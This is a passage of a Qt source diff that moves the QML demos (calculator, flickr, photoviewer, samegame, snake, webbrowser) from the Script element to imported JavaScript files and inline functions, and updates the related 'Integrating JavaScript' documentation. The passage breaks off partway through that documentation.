diff options
188 files changed, 2321 insertions, 3343 deletions
diff --git a/demos/declarative/calculator/calculator.js b/demos/declarative/calculator/calculator.js index cd6490a..f172daf 100644 --- a/demos/declarative/calculator/calculator.js +++ b/demos/declarative/calculator/calculator.js @@ -14,7 +14,7 @@ function disabled(op) { } } -function doOp(op) { +function doOperation(op) { if (disabled(op)) { return; } diff --git a/demos/declarative/calculator/calculator.qml b/demos/declarative/calculator/calculator.qml index 66705e2..1644968 100644 --- a/demos/declarative/calculator/calculator.qml +++ b/demos/declarative/calculator/calculator.qml @@ -1,10 +1,12 @@ import Qt 4.6 +import "calculator.js" as CalcEngine Rectangle { width: 320; height: 270; color: palette.window + function doOp(operation) { CalcEngine.doOperation(operation); } + SystemPalette { id: palette } - Script { source: "calculator.js" } Column { x: 2; spacing: 10; diff --git a/demos/declarative/flickr/flickr-desktop.qml b/demos/declarative/flickr/flickr-desktop.qml index 99216cb..63b6ea2 100644 --- a/demos/declarative/flickr/flickr-desktop.qml +++ b/demos/declarative/flickr/flickr-desktop.qml @@ -31,21 +31,19 @@ Item { } } - Script { - function photoClicked() { - imageDetails.photoTitle = title; - imageDetails.photoDescription = description; - imageDetails.photoTags = tags; - imageDetails.photoWidth = photoWidth; - imageDetails.photoHeight = photoHeight; - imageDetails.photoType = photoType; - imageDetails.photoAuthor = photoAuthor; - imageDetails.photoDate = photoDate; - imageDetails.photoUrl = url; - imageDetails.rating = 0; - wrapper.state = "Details"; - } - } + function photoClicked() { + imageDetails.photoTitle = title; + imageDetails.photoDescription = description; + imageDetails.photoTags = tags; + imageDetails.photoWidth = photoWidth; + imageDetails.photoHeight = photoHeight; + imageDetails.photoType = photoType; + imageDetails.photoAuthor = photoAuthor; + imageDetails.photoDate = photoDate; + imageDetails.photoUrl = url; + imageDetails.rating = 0; + wrapper.state = "Details"; + } Rectangle { id: whiteRect; anchors.fill: parent; color: "white"; radius: 5 @@ -85,15 +83,17 @@ Item { Transition { from: "*"; to: "Details" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + } } }, Transition { from: "Details"; to: "*" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y,scale,opacity,angle"; duration: 500; easing.type: "InOutQuad" } + } PropertyAction { targets: wrapper; properties: "z" } } } diff --git a/demos/declarative/flickr/mobile/GridDelegate.qml b/demos/declarative/flickr/mobile/GridDelegate.qml index 291d874..b54585b 100644 --- a/demos/declarative/flickr/mobile/GridDelegate.qml +++ b/demos/declarative/flickr/mobile/GridDelegate.qml @@ -5,19 +5,17 @@ Item { id: wrapper; width: 79; height: 79 - Script { - function photoClicked() { - imageDetails.photoTitle = title; - imageDetails.photoTags = tags; - imageDetails.photoWidth = photoWidth; - imageDetails.photoHeight = photoHeight; - imageDetails.photoType = photoType; - imageDetails.photoAuthor = photoAuthor; - imageDetails.photoDate = photoDate; - imageDetails.photoUrl = url; - imageDetails.rating = 0; - scaleMe.state = "Details"; - } + function photoClicked() { + imageDetails.photoTitle = title; + imageDetails.photoTags = tags; + imageDetails.photoWidth = photoWidth; + imageDetails.photoHeight = photoHeight; + imageDetails.photoType = photoType; + imageDetails.photoAuthor = photoAuthor; + imageDetails.photoDate = photoDate; + imageDetails.photoUrl = url; + imageDetails.rating = 0; + scaleMe.state = "Details"; } Item { @@ -54,14 +52,16 @@ transitions: [ Transition { from: "Show"; to: "Details" - ParentAction { } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + } }, Transition { from: "Details"; to: "Show" SequentialAnimation { - ParentAction { } - NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + ParentAnimation { + NumberAnimation { properties: "x,y"; duration: 500; easing.type: "InOutQuad" } + } PropertyAction { targets: wrapper; properties: "z" } } } diff --git a/demos/declarative/flickr/mobile/TitleBar.qml b/demos/declarative/flickr/mobile/TitleBar.qml index 0a06771..e92ba59 100644 --- a/demos/declarative/flickr/mobile/TitleBar.qml +++ b/demos/declarative/flickr/mobile/TitleBar.qml @@ -11,12 +11,10 @@ Item { id: container width: (parent.width * 2) - 55 ; height: parent.height - Script { - function accept() { - titleBar.state = "" - background.state = "" - rssModel.tags = editor.text - } + function accept() { + titleBar.state = "" + background.state = "" + rssModel.tags = editor.text } Text { @@ -32,7 +30,7 @@ Item { Button { id: tagButton; x: titleBar.width - 50; width: 45; height: 32; text: "..." - onClicked: if (titleBar.state == "Tags") accept(); else titleBar.state = "Tags" + onClicked: if (titleBar.state == "Tags") container.accept(); else titleBar.state = "Tags" anchors.verticalCenter: parent.verticalCenter } @@ -57,7 +55,7 @@ Item { Item { id: returnKey - Keys.onReturnPressed: accept() + Keys.onReturnPressed: container.accept() Keys.onEscapePressed: titleBar.state = "" } } diff --git a/demos/declarative/minehunt/README b/demos/declarative/minehunt/README index 7379dcf..1b6cf81 100644 --- a/demos/declarative/minehunt/README +++ b/demos/declarative/minehunt/README @@ -1,3 +1,5 @@ +To compile the C++ part, do 'qmake && make'. Minehunt will not run properly if the C++ plugin is not compiled. + To run, simply load the minehunt.qml file with the qml runtime. Note that on X11, this demo has problems with the native graphicssystem. If you are using the X11 window system, please pass -graphicssystem raster to the qml binary. diff --git a/demos/declarative/minehunt/minehunt.cpp b/demos/declarative/minehunt/minehunt.cpp index 5e44d1b..e54508a 100644 --- a/demos/declarative/minehunt/minehunt.cpp +++ b/demos/declarative/minehunt/minehunt.cpp @@ -92,7 +92,7 @@ public: MinehuntGame(); Q_PROPERTY(QDeclarativeListProperty<Tile> tiles READ tiles CONSTANT); - QDeclarativeListProperty<Tile> tiles() { return QDeclarativeListProperty<Tile>(this, _tiles); } + QDeclarativeListProperty<Tile> tiles(); Q_PROPERTY(bool isPlaying READ isPlaying NOTIFY isPlayingChanged); bool isPlaying() {return playing;} @@ -134,6 +134,28 @@ private: int nFlags; }; +void tilesPropAppend(QDeclarativeListProperty<Tile>* prop, Tile* value) +{ + Q_UNUSED(prop); + Q_UNUSED(value); + return; //Append not supported +} + +int tilesPropCount(QDeclarativeListProperty<Tile>* prop) +{ + return static_cast<QList<Tile*>*>(prop->data)->count(); +} + +Tile* tilesPropAt(QDeclarativeListProperty<Tile>* prop, int index) +{ + return static_cast<QList<Tile*>*>(prop->data)->at(index); +} + +QDeclarativeListProperty<Tile> MinehuntGame::tiles(){ + return QDeclarativeListProperty<Tile>(this, &_tiles, &tilesPropAppend, + &tilesPropCount, &tilesPropAt, 0); +} + MinehuntGame::MinehuntGame() : numCols(9), numRows(9), playing(true), won(false) { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml index fca7232..fb68cfc 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/AlbumDelegate.qml @@ -25,8 +25,7 @@ Component { Item { Package.name: 'album' - id: albumWrapper - width: 210; height: 220 + id: albumWrapper; width: 210; height: 220 VisualDataModel { id: visualModel; delegate: PhotoDelegate { } @@ -34,13 +33,15 @@ Component { } BusyIndicator { + id: busyIndicator anchors { centerIn: parent; verticalCenterOffset: -20 } on: rssModel.status != XmlListModel.Ready } PathView { id: photosPathView; model: visualModel.parts.stack; pathItemCount: 5 - anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + visible: !busyIndicator.visible + anchors.centerIn: parent; anchors.verticalCenterOffset: -30 path: Path { PathAttribute { name: 'z'; value: 9999.0 } PathLine { x: 1; y: 1 } @@ -48,21 +49,16 @@ Component { } } - Tag { - anchors.horizontalCenter: parent.horizontalCenter; anchors.bottom: parent.bottom - frontLabel: tag; backLabel: "Delete"; rotation: Math.random() * (2 * 6 + 1) - 6 - flipped: mainWindow.editMode - } - MouseArea { anchors.fill: parent - onClicked: { - if (mainWindow.editMode) { - photosModel.remove(index) - } else { - albumWrapper.state = 'inGrid' - } - } + onClicked: mainWindow.editMode ? photosModel.remove(index) : albumWrapper.state = 'inGrid' + } + + Tag { + anchors { horizontalCenter: parent.horizontalCenter; bottom: parent.bottom; bottomMargin: 10 } + frontLabel: tag; backLabel: "Delete"; flipped: mainWindow.editMode + onTagChanged: rssModel.tags = tag + onBackClicked: if (mainWindow.editMode) photosModel.remove(index); } states: [ @@ -77,10 +73,17 @@ Component { PropertyChanges { target: photosGridView; interactive: false } PropertyChanges { target: photosListView; interactive: true } PropertyChanges { target: photosShade; opacity: 1 } - PropertyChanges { target: backButton; y: -backTag.height - 8 } + PropertyChanges { target: backButton; y: -backButton.height - 8 } } ] + GridView.onAdd: NumberAnimation { target: albumWrapper; properties: "scale"; from: 0.0; to: 1.0 } + GridView.onRemove: SequentialAnimation { + PropertyAction { target: albumWrapper.GridView; property: "delayRemove"; value: true } + NumberAnimation { target: albumWrapper; property: "scale"; from: 1.0; to: 0.0 } + PropertyAction { target: albumWrapper.GridView; property: "delayRemove"; value: false } + } + transitions: [ Transition { from: '*'; to: 'inGrid' diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Button.qml b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml index fb28314..cdf86af 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Button.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Button.qml @@ -4,6 +4,7 @@ Item { id: container property alias label: labelText.text + property string tint: "" signal clicked width: labelText.width + 70 ; height: labelText.height + 18 @@ -16,6 +17,11 @@ Item { Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true } + Rectangle { + anchors.fill: container; color: container.tint; visible: container.tint != "" + opacity: 0.1; smooth: true + } + Text { id: labelText; font.pixelSize: 15; anchors.centerIn: parent; smooth: true } MouseArea { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml new file mode 100644 index 0000000..5ea79a1 --- /dev/null +++ b/demos/declarative/photoviewer/PhotoViewerCore/EditableButton.qml @@ -0,0 +1,53 @@ +import Qt 4.6 + +Item { + id: container + + property string label + property string tint: "" + signal clicked + signal labelChanged(string label) + + width: labelText.width + 70 ; height: labelText.height + 18 + + BorderImage { + anchors { fill: container; leftMargin: -6; topMargin: -6; rightMargin: -8; bottomMargin: -8 } + source: 'images/box-shadow.png'; smooth: true + border.left: 10; border.top: 10; border.right: 10; border.bottom: 10 + } + + Image { anchors.fill: parent; source: "images/cardboard.png"; smooth: true } + + Rectangle { + anchors.fill: container; color: container.tint; visible: container.tint != "" + opacity: 0.1; smooth: true + } + + Text { id: labelText; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true } + + TextInput { + id: textInput; text: label; font.pixelSize: 15; anchors.centerIn: parent; smooth: true; visible: false + Keys.onReturnPressed: container.labelChanged(textInput.text) + Keys.onEscapePressed: { + textInput.text = labelText.text + container.state = '' + } + } + + MouseArea { + anchors { fill: parent; leftMargin: -20; topMargin: -20; rightMargin: -20; bottomMargin: -20 } + onClicked: container.state = "editMode" + } + + states: State { + name: "editMode" + PropertyChanges { target: container; width: textInput.width + 70; height: textInput.height + 17 } + PropertyChanges { target: textInput; visible: true; focus: true } + PropertyChanges { target: labelText; visible: false } + } + + onLabelChanged: { + labelText.text = label + container.state = '' + } +} diff --git a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml index 89fe3e8..107aff1 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/PhotoDelegate.qml @@ -1,4 +1,5 @@ import Qt 4.6 +import "script/script.js" as Script Package { Item { id: stackItem; Package.name: 'stack'; width: 160; height: 153; z: stackItem.PathView.z } @@ -28,12 +29,16 @@ Package { Rectangle { id: placeHolder - property int w: getWidth(content) - property int h: getHeight(content) - property double s: calculateScale(w, h, photoWrapper.width) + property int w: Script.getWidth(content) + property int h: Script.getHeight(content) + property double s: Script.calculateScale(w, h, photoWrapper.width) - color: '#878787'; anchors.centerIn: parent; smooth: true; border.color: 'white'; border.width: 3 + color: 'white'; anchors.centerIn: parent; smooth: true width: w * s; height: h * s; visible: originalImage.status != Image.Ready + Rectangle { + color: "#878787"; smooth: true + anchors { fill: parent; topMargin: 3; bottomMargin: 3; leftMargin: 3; rightMargin: 3 } + } } Rectangle { id: border; color: 'white'; anchors.centerIn: parent; smooth: true @@ -42,7 +47,7 @@ Package { } BusyIndicator { anchors.centerIn: parent; on: originalImage.status != Image.Ready } Image { - id: originalImage; smooth: true; source: "http://" + getImagePath(content) + id: originalImage; smooth: true; source: "http://" + Script.getImagePath(content) fillMode: Image.PreserveAspectFit; width: photoWrapper.width; height: photoWrapper.height } Image { diff --git a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml index d32fcd0..bf02fac 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml +++ b/demos/declarative/photoviewer/PhotoViewerCore/Tag.qml @@ -7,18 +7,23 @@ Flipable { property alias backLabel: backButton.label property int angle: 0 + property int randomAngle: Math.random() * (2 * 6 + 1) - 6 property bool flipped: false signal frontClicked signal backClicked + signal tagChanged(string tag) - front: Button { - id: frontButton; anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + front: EditableButton { + id: frontButton; rotation: flipable.randomAngle + anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.frontClicked() + onLabelChanged: flipable.tagChanged(label) } back: Button { - id: backButton; anchors.centerIn: parent; anchors.verticalCenterOffset: -20 + id: backButton; tint: "red"; rotation: flipable.randomAngle + anchors { centerIn: parent; verticalCenterOffset: -20 } onClicked: flipable.backClicked() } diff --git a/demos/declarative/photoviewer/PhotoViewerCore/qmldir b/demos/declarative/photoviewer/PhotoViewerCore/qmldir index f94a560..d3c247f 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/qmldir +++ b/demos/declarative/photoviewer/PhotoViewerCore/qmldir @@ -2,6 +2,7 @@ AlbumDelegate AlbumDelegate.qml PhotoDelegate PhotoDelegate.qml ProgressBar ProgressBar.qml RssModel RssModel.qml +BusyIndicator BusyIndicator.qml +EditableButton EditableButton.qml Button Button.qml Tag Tag.qml -BusyIndicator BusyIndicator.qml diff --git a/demos/declarative/photoviewer/PhotoViewerCore/script/script.js b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js index ae24ea1..e8ef93a 100644 --- a/demos/declarative/photoviewer/PhotoViewerCore/script/script.js +++ b/demos/declarative/photoviewer/PhotoViewerCore/script/script.js @@ -1,3 +1,5 @@ +.pragma library + function getWidth(string) { return (string.match(/width=\"([0-9]+)\"/))[1] } diff --git a/demos/declarative/photoviewer/photoviewer.qml b/demos/declarative/photoviewer/photoviewer.qml index 02134ac..8feee02 100644 --- a/demos/declarative/photoviewer/photoviewer.qml +++ b/demos/declarative/photoviewer/photoviewer.qml @@ -10,13 +10,11 @@ Rectangle { width: 800; height: 480; color: "#d5d6d8" - Script { source: "PhotoViewerCore/script/script.js" } - ListModel { id: photosModel ListElement { tag: "Flowers" } - ListElement { tag: "Savanna" } - ListElement { tag: "Central Park" } + ListElement { tag: "Wildlife" } + ListElement { tag: "Prague" } } VisualDataModel { id: albumVisualModel; model: photosModel; delegate: AlbumDelegate {} } @@ -28,14 +26,20 @@ Rectangle { Column { spacing: 20; anchors { bottom: parent.bottom; right: parent.right; rightMargin: 20; bottomMargin: 20 } - Button { id: deleteButton; label: "Edit"; rotation: -2; onClicked: mainWindow.editMode = !mainWindow.editMode } Button { id: newButton; label: "New"; rotation: 3 + anchors.horizontalCenter: parent.horizontalCenter onClicked: { + mainWindow.editMode = false photosModel.append( { tag: "" } ) albumView.positionViewAtIndex(albumView.count - 1, GridView.Contain) } } + Button { + id: deleteButton; label: "Delete"; rotation: -2; + onClicked: mainWindow.editMode = !mainWindow.editMode + anchors.horizontalCenter: parent.horizontalCenter + } } Rectangle { diff --git a/demos/declarative/samegame/SamegameCore/samegame.js b/demos/declarative/samegame/SamegameCore/samegame.js index 1214b79..a119a88 100755 --- a/demos/declarative/samegame/SamegameCore/samegame.js +++ b/demos/declarative/samegame/SamegameCore/samegame.js @@ -22,11 +22,6 @@ function timeStr(msecs) { return ret; } -function getTileSize() -{ - return tileSize; -} - function initBoard() { for(var i = 0; i<maxIndex; i++){ diff --git a/demos/declarative/samegame/samegame.qml b/demos/declarative/samegame/samegame.qml index 3b19cbe..f084ff6 100644 --- a/demos/declarative/samegame/samegame.qml +++ b/demos/declarative/samegame/samegame.qml @@ -1,5 +1,6 @@ import Qt 4.6 import SamegameCore 1.0 +import "SamegameCore/samegame.js" as Logic Rectangle { id: screen @@ -22,15 +23,13 @@ Rectangle { property int score: 0 property int tileSize: 40 - Script { source: "SamegameCore/samegame.js" } - z: 20; anchors.centerIn: parent - width: parent.width - (parent.width % getTileSize()); - height: parent.height - (parent.height % getTileSize()); + width: parent.width - (parent.width % tileSize); + height: parent.height - (parent.height % tileSize); MouseArea { id: gameMR - anchors.fill: parent; onClicked: handleClick(mouse.x,mouse.y); + anchors.fill: parent; onClicked: Logic.handleClick(mouse.x,mouse.y); } } } @@ -57,7 +56,7 @@ Rectangle { } onAccepted: { if(scoreName.opacity==1&&editor.text!="") - saveHighScore(editor.text); + Logic.saveHighScore(editor.text); scoreName.forceClose(); } anchors.verticalCenter: parent.verticalCenter @@ -73,13 +72,13 @@ Rectangle { anchors.bottom: screen.bottom Button { - id: btnA; text: "New Game"; onClicked: {initBoard();} + id: btnA; text: "New Game"; onClicked: Logic.initBoard(); anchors.left: parent.left; anchors.leftMargin: 3 anchors.verticalCenter: parent.verticalCenter } Button { - id: btnB; text: "Quit"; onClicked: {Qt.quit();} + id: btnB; text: "Quit"; onClicked: Qt.quit(); anchors.left: btnA.right; anchors.leftMargin: 3 anchors.verticalCenter: parent.verticalCenter } diff --git a/demos/declarative/snake/content/HighScoreModel.qml b/demos/declarative/snake/content/HighScoreModel.qml index f585ce8..076e3ff 100644 --- a/demos/declarative/snake/content/HighScoreModel.qml +++ b/demos/declarative/snake/content/HighScoreModel.qml @@ -41,21 +41,19 @@ ListModel { property string topPlayer: "" property int maxScores: 10 - Script { - function db() - { - return openDatabaseSync("HighScoreModel", "1.0", "Generic High Score Functionality for QML", 1000000); - } - function ensureTables(tx) - { - tx.executeSql('CREATE TABLE IF NOT EXISTS HighScores(game TEXT, score INT, player TEXT)', []); - } + function __db() + { + return openDatabaseSync("HighScoreModel", "1.0", "Generic High Score Functionality for QML", 1000000); + } + function __ensureTables(tx) + { + tx.executeSql('CREATE TABLE IF NOT EXISTS HighScores(game TEXT, score INT, player TEXT)', []); } function fillModel() { - db().transaction( + __db().transaction( function(tx) { - ensureTables(tx); + __ensureTables(tx); var rs = tx.executeSql("SELECT score,player FROM HighScores WHERE game=? ORDER BY score DESC", [game]); model.clear(); if (rs.rows.length > 0) { @@ -74,9 +72,9 @@ ListModel { } function savePlayerScore(player,score) { - db().transaction( + __db().transaction( function(tx) { - ensureTables(tx); + __ensureTables(tx); tx.executeSql("INSERT INTO HighScores VALUES(?,?,?)", [game,score,player]); fillModel(); } @@ -88,7 +86,7 @@ ListModel { } function clearScores() { - db().transaction( + __db().transaction( function(tx) { tx.executeSql("DELETE FROM HighScores WHERE game=?", [game]); fillModel(); diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml index 317c7de..68c2b78 100644 --- a/demos/declarative/snake/snake.qml +++ b/demos/declarative/snake/snake.qml @@ -1,13 +1,12 @@ import Qt 4.6 import "content" as Content +import "content/snake.js" as Logic Rectangle { id: screen; SystemPalette { id: activePalette } color: activePalette.window - Script { source: "content/snake.js" } - property int gridSize : 34 property int margin: 4 property int numRowsAvailable: Math.floor((height-32-2*margin)/gridSize) @@ -36,19 +35,19 @@ Rectangle { id: heartbeat; interval: heartbeatInterval; repeat: true - onTriggered: { move() } + onTriggered: { Logic.move() } } Timer { id: halfbeat; interval: halfbeatInterval; repeat: true running: heartbeat.running - onTriggered: { moveSkull() } + onTriggered: { Logic.moveSkull() } } Timer { interval: 700; - onTriggered: {startNewGame(); } + onTriggered: { Logic.startNewGame(); } } Timer { @@ -105,13 +104,13 @@ Rectangle { anchors.fill: parent onPressed: { if (!head || !heartbeat.running) { - startNewGame(); + Logic.startNewGame(); return; } if (direction == 0 || direction == 2) - scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3); + Logic.scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3); else - scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0); + Logic.scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0); } } } @@ -149,7 +148,7 @@ Rectangle { anchors.bottom: screen.bottom Content.Button { - id: btnA; text: "New Game"; onClicked: {startNewGame();} + id: btnA; text: "New Game"; onClicked: Logic.startNewGame(); anchors.left: parent.left; anchors.leftMargin: 3 anchors.verticalCenter: parent.verticalCenter } @@ -163,11 +162,11 @@ Rectangle { } focus: true - Keys.onSpacePressed: startNewGame(); - Keys.onLeftPressed: if (state == "starting" || direction != 1) scheduleDirection(3); - Keys.onRightPressed: if (state == "starting" || direction != 3) scheduleDirection(1); - Keys.onUpPressed: if (state == "starting" || direction != 2) scheduleDirection(0); - Keys.onDownPressed: if (state == "starting" || direction != 0) scheduleDirection(2); + Keys.onSpacePressed: Logic.startNewGame(); + Keys.onLeftPressed: if (state == "starting" || direction != 1) Logic.scheduleDirection(3); + Keys.onRightPressed: if (state == "starting" || direction != 3) Logic.scheduleDirection(1); + Keys.onUpPressed: if (state == "starting" || direction != 2) Logic.scheduleDirection(0); + Keys.onDownPressed: if (state == "starting" || direction != 0) Logic.scheduleDirection(2); states: [ State { diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml index 30a5d78..759cff6 100644 --- a/demos/declarative/webbrowser/content/FlickableWebView.qml +++ b/demos/declarative/webbrowser/content/FlickableWebView.qml @@ -25,21 +25,19 @@ Flickable { pixelCacheSize: 4000000 transformOrigin: Item.TopLeft - Script { - function fixUrl(url) - { - if (url == "") return url - if (url[0] == "/") return "file://"+url - if (url.indexOf(":")<0) { - if (url.indexOf(".")<0 || url.indexOf(" ")>=0) { - // Fall back to a search engine; hard-code Wikipedia - return "http://en.wikipedia.org/w/index.php?search="+url - } else { - return "http://"+url - } + function fixUrl(url) + { + if (url == "") return url + if (url[0] == "/") return "file://"+url + if (url.indexOf(":")<0) { + if (url.indexOf(".")<0 || url.indexOf(" ")>=0) { + // Fall back to a search engine; hard-code Wikipedia + return "http://en.wikipedia.org/w/index.php?search="+url + } else { + return "http://"+url } - return url } + return url } url: fixUrl(webBrowser.urlString) diff --git a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml index d282209..1da9219 100644 --- a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml +++ b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml @@ -10,30 +10,26 @@ Item { signal cancelled signal startEdit - Script { - - function edit() { - if (!mouseGrabbed) { - fieldText.startEdit(); - fieldText.state='editing'; - mouseGrabbed=true; - } - } - - function confirm() { - fieldText.state=''; - fieldText.text = textEdit.text; - mouseGrabbed=false; - fieldText.confirmed(); + function edit() { + if (!mouseGrabbed) { + fieldText.startEdit(); + fieldText.state='editing'; + mouseGrabbed=true; } + } - function reset() { - textEdit.text = fieldText.text; - fieldText.state=''; - mouseGrabbed=false; - fieldText.cancelled(); - } + function confirm() { + fieldText.state=''; + fieldText.text = textEdit.text; + mouseGrabbed=false; + fieldText.confirmed(); + } + function reset() { + textEdit.text = fieldText.text; + fieldText.state=''; + mouseGrabbed=false; + fieldText.cancelled(); } Image { diff --git a/doc/src/declarative/declarativeui.qdoc b/doc/src/declarative/declarativeui.qdoc index ed63367..cc61c01 100644 --- a/doc/src/declarative/declarativeui.qdoc +++ b/doc/src/declarative/declarativeui.qdoc @@ -83,7 +83,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \list \o \l {QML Documents} \o \l {Property Binding} -\o \l {JavaScript Blocks} +\o \l {Integrating JavaScript} \o \l {QML Scope} \o \l {Network Transparency} \o \l {Data Models} @@ -102,6 +102,7 @@ completely new applications. QML is fully \l {Extending QML in C++}{extensible \o \l {QML Global Object} \o \l {Extending QML in C++} \o \l {QML Internationalization} +\o \l {QML Security} \o \l {QtDeclarative Module} \o \l {Debugging QML} \endlist diff --git a/doc/src/declarative/elements.qdoc b/doc/src/declarative/elements.qdoc index 75f8b97..e35d67c 100644 --- a/doc/src/declarative/elements.qdoc +++ b/doc/src/declarative/elements.qdoc @@ -78,7 +78,6 @@ The following table lists the QML elements provided by the Qt Declarative module \o \l ParentAnimation \o \l AnchorAnimation \o \l PropertyAction -\o \l ParentAction \o \l ScriptAction \o \l Transition \o \l SpringFollow diff --git a/doc/src/declarative/example-slideswitch.qdoc b/doc/src/declarative/example-slideswitch.qdoc index 42351c5..c14208e 100644 --- a/doc/src/declarative/example-slideswitch.qdoc +++ b/doc/src/declarative/example-slideswitch.qdoc @@ -121,7 +121,7 @@ states (\e on and \e off). This second function is called when the knob is released and we want to make sure that the knob does not end up between states (neither \e on nor \e off). If it is the case call the \c toggle() function otherwise we do nothing. -For more information on scripts see \l{qdeclarativejavascript.html}{JavaScript Blocks}. +For more information on scripts see \l{Integrating JavaScript}. \section2 Transition \snippet examples/declarative/slideswitch/content/Switch.qml 7 diff --git a/doc/src/declarative/javascriptblocks.qdoc b/doc/src/declarative/javascriptblocks.qdoc index 98183bb..0006967 100644 --- a/doc/src/declarative/javascriptblocks.qdoc +++ b/doc/src/declarative/javascriptblocks.qdoc @@ -41,95 +41,123 @@ /*! \page qdeclarativejavascript.html -\title JavaScript Blocks +\title Integrating JavaScript QML encourages building UIs declaratively, using \l {Property Binding} and the -composition of existing \l {QML Elements}. If imperative code is required to implement -more advanced behavior, the \l Script element can be used to add JavaScript code directly -to a QML file, or to include an external JavaScript file. +composition of existing \l {QML Elements}. To allow the implementation of more +advanced behavior, QML integrates tightly with imperative JavaScript code. -The \l Script element is a QML language \e intrinsic. It can be used anywhere in a -QML file, \e except as the root element of a file or sub-component, but cannot be -assigned to an object property or given an id. The included JavaScript is evaluated -in a scope chain. The \l {QML Scope} documentation covers the specifics of scoping -in QML. +The JavaScript environment provided by QML is stricter than that in a webbrowser. +In QML you cannot add, or modify, members of the JavaScript global object. It +is possible to do this accidentally by using a variable without declaring it. In +QML this will throw an exception, so all local variables should be explicitly +declared. -A restriction on the JavaScript used in QML is that you cannot add new members to the -global object. This happens transparently when you try to use a variable without -declaring it, and so declaring local variables is required when using Java script in -QML. +In addition to the standard JavaScript properties, the \l {QML Global Object} +includes a number of helper methods that simplify building UIs and interacting +with the QML environment. -The global object in QML has a variety of helper functions added to it, to aid UI -implementation. See \l{QML Global Object} for further details. +\section1 Inline JavaScript -Note that if you are adding a function that should be called by external elements, -you do not need the \l Script element. See \l {Extending types from QML#Adding new methods} -{Adding new methods} for information about adding slots that can be called externally. - -\section1 Inline Script - -Small blocks of JavaScript can be included directly inside a \l {QML Document} as -the body of the \l Script element. +Small JavaScript functions can be written inline with other QML declarations. +These inline functions are added as methods to the QML element that contains +them. \code -Rectangle { - Script { - function factorial(a) { - a = Integer(a); - if (a <= 0) - return 1; - else - return a * factorial(a - 1); - } +Item { + function factorial(a) { + a = Integer(a); + if (a <= 0) + return 1; + else + return a * factorial(a - 1); + } + + MouseRegion { + anchors.fill: parent + onClicked: print(factorial(10)) } } \endcode -Good programming practice dictates that only small script snippets should be written -inline. QML prohibits the declaration of anything other than functions in an inline -script block. For example, the following script is illegal as an inline script block -as it declares the non-function variable \c lastResult. +As methods, inline functions on the root element in a QML component can be +invoked by callers outside the component. If this is not desired, the method +can be added to a non-root element or, preferably, written in an external +JavaScript file. + +\section1 Separate JavaScript files + +Large blocks of JavaScript should be written in separate files. Like element +types, external JavaScript files are \c {import}'ed into QML files. + +The \c {factorial()} method used in the \l {Inline JavaScript} section could +be refactored into an external file, and accessed like this. \code -// Illegal inline code block -var lastResult = 0 -function factorial(a) { - a = Integer(a); - if (a <= 0) - lastResult = 1; - else - lastResult = a * factorial(a - 1); - return lastResult; +import "factorial.js" as MathFunctions +Item { + MouseRegion { + anchors.fill: parent + onClicked: print(MathFunctions.factorial(10)) + } } \endcode -\section1 Including an External File +Both relative and absolute JavaScript URLs can be imported. In the case of a +relative URL, the location is resolved relative to the location of the +\l {QML Document} that contains the import. If the script file is not accessible, +an error will occur. If the JavaScript needs to be fetched from a network +resource, the QML document will remain in the +\l {QDeclarativeComponent::status()}{waiting state} until the script has been +downloaded. -To avoid cluttering the QML file, large script blocks should be in a separate file. -The \l Script element's \c source property is used to load script from an external -file. +Imported JavaScript files are always qualified using the "as" keyword. The +qualifier for JavaScript files must be unique, so there is always a one-to-one +mapping between qualifiers and JavaScript files. -If the previous factorial code that was illegal as an inline script block was saved -into a "factorial.js" file, it could be included like this. +\section2 Code-Behind Implementation Files + +Most JavaScript files imported into a QML file are stateful, logic implementations +for the QML file importing them. In these cases, for QML component instances to +behave correctly each instance requires a separate copy of the JavaScript objects +and state. + +The default behavior when importing JavaScript files is to provide a unique, isolated +copy for each QML component instance. The code runs in the same 